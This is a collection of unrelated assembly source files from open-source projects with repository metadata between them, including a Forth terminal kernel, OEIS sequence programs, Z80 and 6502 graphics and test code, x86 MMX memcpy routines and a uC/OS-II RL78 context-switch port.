null
null
null
dvar TERMADDR,8,,, dcode BINDTERM,8,F_HIDDEN, jsr bind_term nxt bind_term: lda var_TERMADDR mmu $00 rts dword XY@,3,,GETXY ; ( -- x y ) .wp BINDTERM .wp ONE .wp BUS_PEEK .wp SPLIT .wp EXIT dword XY!,3,,SETXY ; ( x y -- ) .wp JOIN .wp BINDTERM .wp ONE .wp BUS_POKE .wp EXIT dword CURSOR,6,, ; ( cursortype -- ) .wp BINDTERM .lit 3 .wp BUS_POKEBYTE .wp EXIT dcode KEY?,4,,KEYQ ; ( -- key/0 ) mmu $81 tax lda #$0000 sep #$20 lda $0004, x cmp $0005, x beq KEYQ_nokey lda $0006, x inc $0004, x rep #$20 pha nxt KEYQ_nokey: rep #$20 lda #$0000 pha nxt dcode KEY,3,, ; ( -- key ) mmu $81 tax lda #$0000 sep #$20 bra KEY_check KEY_waitloop: wai KEY_check: lda $0004, x cmp $0005, x beq KEY_waitloop lda $0006, x inc $0004, x rep #$20 pha nxt ;unnamed_word handle_backspace ;.wp EXIT dword ACCEPT,6,,ACCEPT ; ( c-addr maxlength -- read ) .wp TWOTOR .wp ZERO RL_loop: .wp KEY .wp DUP .lit _F_RETURN .wp EQU .zbranch RL_a .wp DROP .wp RDROP .wp RDROP .wp SPACE .wp EXIT RL_a: .wp DUP .lit _F_BACKSPACE .wp EQU .zbranch RL_b .wp DROP .wp DUP .zbranch RL_loop .wp GETXY .wp DROP .zbranch RL_loop .wp GETXY .wp SWAP .wp DECR .wp SWAP .wp TWODUP .wp SETXY .wp SPACE .wp SETXY .wp DECR .branch RL_loop RL_b: .wp OVER .wp FROMR .wp FROMR .wp DUP .wp NROT .wp TOR .wp TOR .wp EQU .zbranch RL_c .wp DROP .branch RL_loop RL_c: .wp DUP .wp EMIT .wp OVER .wp RFETCH .wp ADD .wp POKEBYTE .wp INCR .branch RL_loop ;.wp EXIT dcode EMIT,4,, ; ( char -- ) jsr bind_term mmu $81 tay sep #$20 lda $0002, y sta $0000, y lda $0001, y tax clc adc #$10 sta $02 stz $03 pla ; get char sta ($0002), y pla ; throw high bytes away txa inc a cmp #$50 beq CR sta $0001, y rep #$20 nxt dcode CR,2,, rep #$20 jsr bind_term mmu $81 tax sep #$20 stz $0001, x lda $0002, x inc a cmp #$32 bne CR_continue rep #$20 jsr SCROLL_begin sep #$20 lda #$31 CR_continue: sta $0002, x rep #$20 nxt dcode SCROLL,6,, jsr bind_term jsr SCROLL_begin nxt SCROLL_begin: mmu $81 tax sep #$20 lda $0002, x beq SCROLL_topline dec $0002, x bra SCROLL_cont SCROLL_topline: lda #$31 sta $0002, x SCROLL_cont: stz $0008, x stz $000A, x stz $000B, x lda #$01 sta $0009, x lda #$50 sta $000C, x lda #$31 sta $000D, x lda #$03 sta $0007, x wai lda #$20 sta $0008, x lda #$31 sta $000B, x lda #$01 sta $000D, x sta $0007, x wai rep #$20 rts dword PAGE,4,, .wp BINDTERM .lit $20 .lit $08 .wp BUS_POKEBYTE .wp ZERO .lit $0A .wp BUS_POKEBYTE .wp ZERO .lit $0B .wp BUS_POKEBYTE .lit 80 .lit $0C .wp BUS_POKEBYTE .lit 50 .lit $0D .wp BUS_POKEBYTE .wp ONE .lit $07 .wp BUS_POKEBYTE .wp ZERO .lit $01 .wp BUS_POKE .wp TICK .wp EXIT dword TYPE,4,, ; ( address length -- ) .wp DUP .zbranch TYPE_zerolength .wp ZERO TYPE_loop: .wp TWOTOR .wp DUP .wp I .wp ADD .wp PEEK .wp EMIT .wp TWOFROMR .wp INCR .wp TWODUP .wp EQU .zbranch TYPE_loop .wp DROP TYPE_zerolength: .wp TWODROP .wp EXIT dconst BL,2,,,_F_BL dword SPACE,5,, .wp BL .wp EMIT .wp EXIT dword SPACES,6,, ; ( n -- ) .wp TOR SPACES_loop: .wp RFETCH .zbranch SPACES_end .wp SPACE .wp FROMR .wp DECR .wp TOR .branch SPACES_loop SPACES_end: .wp RDROP .wp EXIT
17.072414
57
0.420723
5e9a4f9e6db799fef8c865f7b46f6a177930e8f3
1,428
asm
Assembly
programs/oeis/023/A023548.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/023/A023548.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/023/A023548.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A023548: Convolution of natural numbers >= 2 and Fibonacci numbers. ; 2,5,11,21,38,66,112,187,309,507,828,1348,2190,3553,5759,9329,15106,24454,39580,64055,103657,167735,271416,439176,710618,1149821,1860467,3010317,4870814,7881162,12752008,20633203,33385245,54018483,87403764,141422284,228826086,370248409,599074535,969322985,1568397562,2537720590,4106118196,6643838831,10749957073,17393795951,28143753072,45537549072,73681302194,119218851317,192900153563,312119004933,505019158550,817138163538,1322157322144,2139295485739,3461452807941,5600748293739,9062201101740,14662949395540,23725150497342,38388099892945,62113250390351,100501350283361,162614600673778,263115950957206,425730551631052,688846502588327,1114577054219449,1803423556807847,2918000611027368,4721424167835288,7639424778862730,12360848946698093,20000273725560899,32361122672259069,52361396397820046,84722519070079194,137083915467899320,221806434537978595,358890350005877997,580696784543856675,939587134549734756,1520283919093591516,2459871053643326358,3980154972736917961,6440026026380244407,10420180999117162457,16860207025497406954,27280388024614569502,44140595050111976548,71420983074726546143,115561578124838522785,186982561199565069023,302544139324403591904,489526700523968661024,792070839848372253026,1281597540372340914149,2073668380220713167275,3355265920593054081525 add $0,2 mov $1,$0 seq $0,14739 ; Expansion of (1+x^2)/(1-2*x+x^3). sub $0,$1 sub $0,1
158.666667
1,269
0.889356
e271969c8262baab59ca8000e6ef90b3eba0900f
97
asm
Assembly
src/main/fragment/mos6502-common/vdum1=vwuc1_plus_vbuaa.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/main/fragment/mos6502-common/vdum1=vwuc1_plus_vbuaa.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/main/fragment/mos6502-common/vdum1=vwuc1_plus_vbuaa.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
clc adc #<{c1} sta {m1} lda #0 adc #>{c1} sta {m1}+1 lda #0 adc #0 sta {m1}+2 lda #0 sta {m1}+3
7.461538
10
0.536082
65b805f1a54efcb4b091ca8e92e3d1ce510b0d40
2,083
asm
Assembly
src/test/resources/data/generationtests/sjasm-mixed-expected.asm
Fubukimaru/mdlz80optimizer
df2717e39ab369ab0d681017610923f08d230686
[ "Apache-2.0" ]
null
null
null
src/test/resources/data/generationtests/sjasm-mixed-expected.asm
Fubukimaru/mdlz80optimizer
df2717e39ab369ab0d681017610923f08d230686
[ "Apache-2.0" ]
null
null
null
src/test/resources/data/generationtests/sjasm-mixed-expected.asm
Fubukimaru/mdlz80optimizer
df2717e39ab369ab0d681017610923f08d230686
[ "Apache-2.0" ]
null
null
null
slide: equ 8 centrifuge: equ 8 speed_max: equ 16 go: cp speed_max * 4 ld a, speed_max * 4 db (0 + 1) * slide / speed_max, -(0 + 1) * slide / speed_max db (1 + 1) * slide / speed_max, -(1 + 1) * slide / speed_max db (2 + 1) * slide / speed_max, -(2 + 1) * slide / speed_max db (3 + 1) * slide / speed_max, -(3 + 1) * slide / speed_max db (4 + 1) * slide / speed_max, -(4 + 1) * slide / speed_max db (5 + 1) * slide / speed_max, -(5 + 1) * slide / speed_max db (6 + 1) * slide / speed_max, -(6 + 1) * slide / speed_max db (7 + 1) * slide / speed_max, -(7 + 1) * slide / speed_max db (8 + 1) * slide / speed_max, -(8 + 1) * slide / speed_max db (9 + 1) * slide / speed_max, -(9 + 1) * slide / speed_max db (10 + 1) * slide / speed_max, -(10 + 1) * slide / speed_max db (11 + 1) * slide / speed_max, -(11 + 1) * slide / speed_max db (12 + 1) * slide / speed_max, -(12 + 1) * slide / speed_max db (13 + 1) * slide / speed_max, -(13 + 1) * slide / speed_max db (14 + 1) * slide / speed_max, -(14 + 1) * slide / speed_max db (15 + 1) * slide / speed_max, -(15 + 1) * slide / speed_max db -(0 + 1) * (0 - 8) * (centrifuge / 8) / speed_max db -(1 + 1) * (0 - 8) * (centrifuge / 8) / speed_max db -(2 + 1) * (0 - 8) * (centrifuge / 8) / speed_max db -(3 + 1) * (0 - 8) * (centrifuge / 8) / speed_max db -(4 + 1) * (0 - 8) * (centrifuge / 8) / speed_max db -(5 + 1) * (0 - 8) * (centrifuge / 8) / speed_max db -(6 + 1) * (0 - 8) * (centrifuge / 8) / speed_max db -(7 + 1) * (0 - 8) * (centrifuge / 8) / speed_max db -(8 + 1) * (0 - 8) * (centrifuge / 8) / speed_max db -(9 + 1) * (0 - 8) * (centrifuge / 8) / speed_max db -(10 + 1) * (0 - 8) * (centrifuge / 8) / speed_max db -(11 + 1) * (0 - 8) * (centrifuge / 8) / speed_max db -(12 + 1) * (0 - 8) * (centrifuge / 8) / speed_max db -(13 + 1) * (0 - 8) * (centrifuge / 8) / speed_max db -(14 + 1) * (0 - 8) * (centrifuge / 8) / speed_max db -(15 + 1) * (0 - 8) * (centrifuge / 8) / speed_max db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0, 0 db 0, 1 db 1, 0 db 1, 1
35.913793
64
0.530965
e157340c917ea85feb2f17593487b92cf5cf22ef
1,008
asm
Assembly
libsrc/graphics/ticalc/pixladdr.asm
andydansby/z88dk-mk2
51c15f1387293809c496f5eaf7b196f8a0e9b66b
[ "ClArtistic" ]
1
2020-09-15T08:35:49.000Z
2020-09-15T08:35:49.000Z
libsrc/graphics/ticalc/pixladdr.asm
dex4er/deb-z88dk
9ee4f23444fa6f6043462332a1bff7ae20a8504b
[ "ClArtistic" ]
null
null
null
libsrc/graphics/ticalc/pixladdr.asm
dex4er/deb-z88dk
9ee4f23444fa6f6043462332a1bff7ae20a8504b
[ "ClArtistic" ]
null
null
null
XLIB pixeladdress INCLUDE "graphics/grafix.inc" XREF base_graphics ; ; $Id: pixladdr.asm,v 1.6 2002/04/17 21:30:25 dom Exp $ ; ; ****************************************************************** ; ; Get absolute pixel address in map of virtual (x,y) coordinate. ; ; TI Calculator version ; ; addr=base+12*y+int(x/8) ; .pixeladdress push bc ld a,h push af srl a srl a srl a ld c,a ; c=int(x/8) ;ld b,l ld h,0 ; TI 82, 83 and 83+ screens are 12 bytes wide IF FORti82 ld d,h ld e,l add hl,de add hl,de ENDIF IF FORti83 ld d,h ld e,l add hl,de add hl,de ENDIF IF FORti83p ld d,h ld e,l add hl,de add hl,de ENDIF ; TI 85 and TI86 screens are 16 bytes wide IF FORti85 add hl,hl add hl,hl ENDIF IF FORti86 add hl,hl add hl,hl ENDIF add hl,hl add hl,hl ld de,(base_graphics) add hl,de ld b,0 add hl,bc ld d,h ld e,l pop af pop bc and @00000111 ; a = x mod 8 xor @00000111 ; a = 7 - a ret
10.956522
68
0.560516
444a5886907a74dbe8161e704b2b22c393c9067f
2,240
asm
Assembly
arch/x86/memcpy.asm
jroivas/cxx-kernel
e252e89fe843f9b7cb23a19cb9d1121b9d235670
[ "MIT" ]
1
2022-01-19T05:45:49.000Z
2022-01-19T05:45:49.000Z
arch/x86/memcpy.asm
jroivas/cxx-kernel
e252e89fe843f9b7cb23a19cb9d1121b9d235670
[ "MIT" ]
null
null
null
arch/x86/memcpy.asm
jroivas/cxx-kernel
e252e89fe843f9b7cb23a19cb9d1121b9d235670
[ "MIT" ]
null
null
null
[global cpuid_has_feature] cpuid_has_feature: push ebp mov ebp, esp push ebx push ecx push edx mov eax, 1 xor ecx, ecx cpuid mov eax, ecx mov ecx, [ebp + 8] shr eax, cl and eax, 1 pop edx pop ecx pop ebx leave ret [global mmx_has] mmx_has: mov eax, 23 push eax call cpuid_has_feature add esp, 4 ret [global sse_has] sse_has: mov eax, 25 push eax call cpuid_has_feature add esp, 4 ret [global sse2_has] sse2_has: mov eax, 26 push eax call cpuid_has_feature add esp, 4 ret [global mmx_memcpy] mmx_memcpy: push ebp mov ebp, esp mov edi, [esp+8] mov esi, [esp+12] mov ecx, [esp+16] mov ebx, ecx shr ecx, 6 push ecx shl ecx, 6 sub ebx, ecx pop ecx test ecx, ecx jz __mmx_memcpy_rest __mmx_memcpy_loop: movq mm0, [esi] movq mm1, [esi+8] movq mm2, [esi+16] movq mm3, [esi+24] movq mm4, [esi+32] movq mm5, [esi+40] movq mm6, [esi+48] movq mm7, [esi+56] movq [edi], mm0 movq [edi+8], mm1 movq [edi+16], mm2 movq [edi+24], mm3 movq [edi+32], mm4 movq [edi+40], mm5 movq [edi+48], mm6 movq [edi+56], mm7 add esi, 64 add edi, 64 ;add esi, 32 ;add edi, 32 dec ecx jnz __mmx_memcpy_loop __mmx_memcpy_rest: test ebx, ebx jz __mmx_memcpy_end mov ecx, ebx rep movsb __mmx_memcpy_end: emms ;pop ebp leave ret [extern memcpy] [global memcpy_opt] __memcpy_internal_has_mmx: dd 0 memcpy_opt: push ebp mov ebp, esp sub esp, 0x10 mov eax, [__memcpy_internal_has_mmx] cmp eax, 1 je __memcpy_mmx_has cmp eax, 2 je __memcpy_trad __memcpy_mmx_update_info: call mmx_has cmp eax, 1 jne __memcpy_trad_update mov dword [__memcpy_internal_has_mmx], 1 __memcpy_mmx_has: push dword [ebp+16] push dword [ebp+12] push dword [ebp+8] call mmx_memcpy add esp, 0x10 leave ret __memcpy_trad_update: mov dword [__memcpy_internal_has_mmx], 2 __memcpy_trad: push dword [ebp+16] push dword [ebp+12] push dword [ebp+8] call memcpy add esp, 0x10 leave ret
16
44
0.605804
64ab2a80b07f52df4a9a3ce7cab318e6c36e8fb6
250
asm
Assembly
libsrc/_DEVELOPMENT/arch/zx/display/c/sccz80/zx_saddr2cx.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/arch/zx/display/c/sccz80/zx_saddr2cx.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/arch/zx/display/c/sccz80/zx_saddr2cx.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; uchar zx_saddr2cx(void *saddr) SECTION code_clib SECTION code_arch PUBLIC zx_saddr2cx EXTERN asm_zx_saddr2cx defc zx_saddr2cx = asm_zx_saddr2cx ; SDCC bridge for Classic IF __CLASSIC PUBLIC _zx_saddr2cx defc _zx_saddr2cx = zx_saddr2cx ENDIF
13.157895
34
0.824
8fb9af09d307e239bae7bc2562b4e13351e2ab6a
12,167
asm
Assembly
Ports/RL78/GNURL78/os_cpu_a.asm
Qetu107/uC-OS2
22a9ded73d7352110be0996708f1ed0e9c4621f0
[ "Apache-2.0" ]
169
2021-01-28T09:10:52.000Z
2022-03-26T03:33:19.000Z
Ports/RL78/GNURL78/os_cpu_a.asm
Qetu107/uC-OS2
22a9ded73d7352110be0996708f1ed0e9c4621f0
[ "Apache-2.0" ]
10
2021-02-03T22:48:49.000Z
2021-10-14T17:27:03.000Z
Ports/RL78/GNURL78/os_cpu_a.asm
Qetu107/uC-OS2
22a9ded73d7352110be0996708f1ed0e9c4621f0
[ "Apache-2.0" ]
63
2020-03-03T08:10:49.000Z
2020-12-06T12:40:44.000Z
;******************************************************************************************************** ; uC/OS-II ; The Real-Time Kernel ; ; Copyright 1992-2021 Silicon Laboratories Inc. www.silabs.com ; ; SPDX-License-Identifier: APACHE-2.0 ; ; This software is subject to an open source license and is distributed by ; Silicon Laboratories Inc. pursuant to the terms of the Apache License, ; Version 2.0 available at www.apache.org/licenses/LICENSE-2.0. ; ;******************************************************************************************************** ;******************************************************************************************************** ; ; Renesas RL78 Port ; ; Filename : os_cpu_a.asm ; Version : V2.93.01 ;******************************************************************************************************** ; For : Renesas RL78 ; Toolchain : E2Studios v2.x GNURL78 Compiler v1.x ;******************************************************************************************************** #include "os_cpu_a.inc" ;******************************************************************************************************** ; PUBLIC AND EXTERNAL DECLARATIONS ;******************************************************************************************************** .global _OSStartHighRdy .global _OSCtxSw .global _OSIntCtxSw .global _OSTickISR .global _OSTaskSwHook .global _OSTCBHighRdy .global _OSRunning .global _OSTCBCur .global _OSPrioCur .global _OSPrioHighRdy .global _OSIntEnter .global _OSTimeTick .global _OSIntExit .global _OSIntNesting ;******************************************************************************************************** ; CODE GENERATION DIRECTIVES ;******************************************************************************************************** .text .section .text ;******************************************************************************************************** ; MACRO DEFINITIONS ;******************************************************************************************************** ; ASEGN RCODE:CODE, 0x007E ; DW OSCtxSw ; Context Switch vector ; RSEG CODE ; Program code ;******************************************************************************************************** ; START HIGHEST PRIORITY READY TASK ; ; Description: This function is called by OSStart() to start the highest priority task that is ready to run. ; ; Note : OSStartHighRdy() MUST: ; a) Call OSTaskSwHook() then, ; b) Set OSRunning to TRUE, ; c) Switch to the highest priority task. ; ; Registers are set as such: ; _______________________________________ ; | Functional Name | Absolute Name | ; | 16-bit | 8-bit | 16-bit | 8-bit | ; --------------------------------------- ; | HL | H | RP3 | R7 | ; | | L | | R6 | ; --------------------------------------- ; | DE | D | RP2 | R5 | ; | | E | | R4 | ; --------------------------------------- ; | BC | B | RP1 | R3 | ; | | C | | R2 | ; --------------------------------------- ; | AX | A | RP0 | R1 | ; | | X | | R0 | ; --------------------------------------- ; ; ;******************************************************************************************************** _OSStartHighRdy: MOVW BC, #_OSTaskSwHook ; Store location of OSTaskSWHook function CALL BC ; call OSTaskSwHook() MOVW HL, #_OSTCBHighRdy ; HL = OSTCBHighRdy MOVW AX, [HL + 0x0000] ; AX = OSTCBHighRdy[0] (i.e. OSTCBStkPtr) MOVW HL, AX MOVW AX, [HL + 0x0000] ; AX = OSTCBHighRdy->OSTCBStkPtr value MOVW SP, AX ; SP = OSTCBHighRdy->OSTCBStkPtr MOVW BC, #_OSRunning ; Load OSRunning variable into RP1 MOV [BC], #1 ; Set OSRunning to TRUE OS_CTX_RESTORE ; restore all processor registers from new task's stack RETI ; return from interrupt ;******************************************************************************************************** ; TASK LEVEL CONTEXT SWITCH ; ; Description: This function is called by OS_Sched() to perform a task level context switch. ; ; Note : OSCtxSw() MUST: ; a) Save the current task's registers onto the current task stack ; b) Save the SP into the current task's OS_TCB ; c) Call OSTaskSwHook() ; d) Copy OSPrioHighRdy to OSPrioCur ; e) Copy OSTCBHighRdy to OSTCBCur ; f) Load the SP with OSTCBHighRdy->OSTCBStkPtr ; g) Restore all the registers from the high priority task stack ; h) Perform a return from interrupt ;******************************************************************************************************** _OSCtxSw: OS_CTX_SAVE ; save processor registers on the stack ; Save OSTCBCur->StkPtr as current SP value MOVW DE, #_OSTCBCur ; Get OSTCBCur MOVW AX, [DE + 0x0000] ; Store OSTCBCur address in AX MOVW DE, AX MOVW AX, SP ; AX->OSTCBCur (AX pointed to OSTCBCur) MOVW [DE + 0x0000], AX ; OSTCBCur->OSTCBStkPtr = SP MOVW BC, #_OSTaskSwHook CALL BC ; call OSTaskSwHook() ; Set OSTCBCur = OSTCBHighRdy MOVW HL, #_OSTCBHighRdy ; HL = OSTCBHighRdy MOVW AX, [HL + 0x0000] ; AX = OSTCBHighRdy[0] (i.e. OSTCBStkPtr) MOVW HL, #_OSTCBCur ; HL = OSTCBCur MOVW [HL + 0x0000], AX ; OSTCBCur = OSTCBHighRdy[0] (sets equal to one another) ; Set OSPrioCur to the next ready priority MOVW DE, #_OSPrioCur ; DE = OSPrioCur MOVW HL, #_OSPrioHighRdy ; HL = OSPrioHighRdy MOV A, [HL + 0x0000] ; AX->OSPrioHighRdy MOV [DE + 0x0000], A ; OSPrioCur = OSPrioHighRdy MOVW HL, #_OSTCBHighRdy ; HL = OSTCBHighRdy MOVW AX, [HL + 0x0000] ; AX = OSTCBHighRdy[0] (i.e. OSTCBStkPtr) MOVW HL, AX MOVW AX, [HL + 0x0000] ; AX = OSTCBHighRdy->OSTCBStkPtr value MOVW SP, AX ; SP = OSTCBHighRdy->OSTCBStkPtr OS_CTX_RESTORE ; restore all processor registers from new task's stack RETI ; return from interrupt ;******************************************************************************************************** ; ISR LEVEL CONTEXT SWITCH ; ; Description: This function is called by OSIntExit() to perform an ISR level context switch. ; ; Note : OSIntCtxSw() MUST: ; a) Call OSTaskSwHook() ; b) Copy OSPrioHighRdy to OSPrioCur ; c) Copy OSTCBHighRdy to OSTCBCur ; d) Load the SP with OSTCBHighRdy->OSTCBStkPtr ; e) Restore all the registers from the high priority task stack ; f) Perform a return from interrupt ;******************************************************************************************************** _OSIntCtxSw: MOVW AX, #_OSTaskSwHook CALL AX ; call OSTaskSwHook ; Set OSTCBCur = OSTCBHighRdy MOVW HL, #_OSTCBHighRdy ; HL = OSTCBHighRdy MOVW AX, [HL + 0x0000] ; AX = OSTCBHighRdy[0] (i.e. OSTCBStkPtr) MOVW HL, #_OSTCBCur ; HL = OSTCBCur MOVW [HL + 0x0000], AX ; OSTCBCur = OSTCBHighRdy[0] (sets equal to one another) MOVW DE, #_OSPrioCur ; DE = OSPrioCur MOVW HL, #_OSPrioHighRdy ; HL = OSPrioHighRdy MOVW AX, [HL + 0x0000] ; AX->OSPrioHighRdy MOVW [DE + 0x0000], AX ; OSPrioCur = OSPrioHighRdy MOVW HL, #_OSTCBHighRdy ; HL = OSTCBHighRdy MOVW AX, [HL + 0x0000] ; AX = OSTCBHighRdy[0] (i.e. OSTCBStkPtr) MOVW HL, AX MOVW AX, [HL + 0x0000] ; AX = OSTCBHighRdy->OSTCBStkPtr value MOVW SP, AX ; SP = OSTCBHighRdy->OSTCBStkPtr OS_CTX_RESTORE ; restore all processor registers from new task's stack RETI ; return from interrupt ;******************************************************************************************************** ; TICK ISR ; ; Description: This ISR handles tick interrupts. This ISR uses the Watchdog timer as the tick source. ; ; Notes : 1) The following C pseudo-code describes the operations being performed in the code below. ; ; a) Save processor registers; ; b) Increment OSIntNesting; ; c) if (OSIntNesting == 1) { ; OSTCBCur->OSTCBStkPtr = SP; ; } ; d) Call OSTimeTick(); ; e) Call OSIntExit(); ; f) Restore processosr Registers; ; ; 2) OS_CPU_TickHandler() must be registered in the proper vector address of timer that will be ; used as the tick. ; ; 3) All the other ISRs must have the following implementation to secure proper register saving & ; restoring when servicing an interrupt ; ; MyISR ; OS_ISR_ENTER ; ISR Body here ; OS_ISR_EXIT ;******************************************************************************************************** _OSTickISR: OS_ISR_ENTER MOVW AX, #_OSTimeTick CALL AX ; call OSTimeTick() OS_ISR_EXIT .END
49.259109
120
0.352593
65aa5c9144453b5698857deb6b55c7e07ba18f85
310
asm
Assembly
libsrc/games/gal/bit_open.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/games/gal/bit_open.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/games/gal/bit_open.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; $Id: bit_open.asm,v 1.3 2015/01/19 01:32:44 pauloscustodio Exp $ ; ; Galaksija 1 bit sound functions ; ; void bit_open(); ; ; Stefano Bodrato - 8/4/2008 ; PUBLIC bit_open EXTERN snd_tick .bit_open ld a,@10111000 ld (snd_tick),a ld (8248),a ret
17.222222
66
0.56129
db521ff03aec95d2060b6e85af3bddf5aa8128ce
1,372
asm
Assembly
5font/disk/disk_load_all.asm
SwordYork/slef
21c54ad083b1cc178b5936cf2b4c97182a153ed3
[ "Apache-2.0" ]
8
2015-11-09T16:55:42.000Z
2021-08-23T04:11:23.000Z
5font/disk/disk_load_all.asm
ly2199/slef
21c54ad083b1cc178b5936cf2b4c97182a153ed3
[ "Apache-2.0" ]
null
null
null
5font/disk/disk_load_all.asm
ly2199/slef
21c54ad083b1cc178b5936cf2b4c97182a153ed3
[ "Apache-2.0" ]
5
2016-03-19T01:25:37.000Z
2020-11-29T04:42:28.000Z
;load DH sectors to MEM ES:BX [bits 16] RCYLS equ 1 disk_load: pusha mov ah, 0x02 ;read flag mov al, dh ;number of sectors mov ch, 0x00 ;cylinder 0 mov dh, 0x00 ;pointer 0 mov cl, 0x02 ;sector 2 (start from 1) int 0x13 ;interrupt jc disk_error ;cmp dh, al ;al is actul read, but how to restore dh? ;jne disk_error mov bx, KERNEL_OFFSET mov ax, es add ax, 0x220 ;512 * 17 mov es, ax ;next pointer mov ch, 0x00 ;cylinder 0 mov ah, 0x02 ;read flag mov al, 18 ;number of sectors mov dh, 0x01 ;pointer 0 mov cl, 0x01 ;sector 1 (start from 1) int 0x13 jc disk_error ;next cylinder mov ch, 0x01 ;cylinder 1 disk_load_next_cylinder: mov bx, KERNEL_OFFSET mov ax, es add ax, 0x240 ;512 * 18 mov es, ax mov ah, 0x02 ;read flag mov al, 18 ;number of sectors mov dh, 0x00 ;pointer 0 mov cl, 0x01 ;sector 1 (start from 1) int 0x13 jc disk_error ; almost 0x7c00 - 0x500 ; 512 * 60 ; read 3 times ; mov bx, KERNEL_OFFSET ; mov ax, es ; add ax, 0x240 ; mov es, ax ; mov ah, 0x02 ;read flag ; mov al, 18 ;number of sectors ; mov dh, 0x01 ;pointer 1 ; mov cl, 0x01 ;sector 1 (start from 1) ; int 0x13 ; jc disk_error ; add ch, 1 ; cmp ch, RCYLS ; jb disk_load_next_cylinder read_done: popa ret disk_error: mov bx, DISK_ERROR_MSG call print_string jmp $ DISK_ERROR_MSG: db "Disk read error", 0
17.367089
56
0.668367
db7b3ef2b2176e8270a037eb246454e61d5d12cd
74
asm
Assembly
data/test7.asm
colinw7/C6502
a79e573e3b16da0d895b18d0081716d9a76e4654
[ "MIT" ]
null
null
null
data/test7.asm
colinw7/C6502
a79e573e3b16da0d895b18d0081716d9a76e4654
[ "MIT" ]
null
null
null
data/test7.asm
colinw7/C6502
a79e573e3b16da0d895b18d0081716d9a76e4654
[ "MIT" ]
null
null
null
LDX #$01 LDA #$05 STA $01 LDA #$07 STA $02 LDY #$0a STY $0705 LDA ($00,X)
8.222222
11
0.581081
a639420b0aeebb6618ddd741aee9aa8a9d6b8a9f
284
asm
Assembly
programs/oeis/055/A055437.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/055/A055437.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/055/A055437.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A055437: a(n) = 10*n^2+n. ; 11,42,93,164,255,366,497,648,819,1010,1221,1452,1703,1974,2265,2576,2907,3258,3629,4020,4431,4862,5313,5784,6275,6786,7317,7868,8439,9030,9641,10272,10923,11594,12285,12996,13727,14478,15249,16040,16851,17682,18533 mul $0,10 add $0,11 bin $0,2 div $0,5
35.5
216
0.732394
a2e27a110b36da43d2e977d6dd2d7e48320ce983
720
asm
Assembly
programs/oeis/194/A194138.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/194/A194138.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/194/A194138.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A194138: a(n) = Sum_{j=1..n} floor(j*(1+sqrt(2))), n-th partial sum of Beatty sequence for 1+sqrt(2). ; 2,6,13,22,34,48,64,83,104,128,154,182,213,246,282,320,361,404,449,497,547,600,655,712,772,834,899,966,1036,1108,1182,1259,1338,1420,1504,1590,1679,1770,1864,1960,2058,2159,2262,2368,2476,2587,2700,2815,2933,3053,3176,3301,3428,3558,3690,3825,3962,4102,4244,4388,4535,4684,4836,4990,5146,5305,5466,5630,5796,5964,6135,6308,6484,6662,6843,7026,7211,7399,7589,7782,7977,8174,8374,8576,8781,8988,9198,9410,9624,9841,10060,10282,10506,10732,10961,11192,11426,11662,11901,12142 lpb $0 mov $2,$0 sub $0,1 seq $2,3151 ; Beatty sequence for 1+sqrt(2); a(n) = floor(n*(1+sqrt(2))). add $1,$2 lpe add $1,2 mov $0,$1
60
473
0.715278
ce0f47ff7712df2f5540050ae3dbed3ca2470e64
2,490
asm
Assembly
verify/alfy/5_loop/prime_numbers.alfy.asm
alexandruradovici/alf-alfy-asm-public
43a73cc13c38f39125620fb9bd566c261cff1c73
[ "BSD-2-Clause" ]
null
null
null
verify/alfy/5_loop/prime_numbers.alfy.asm
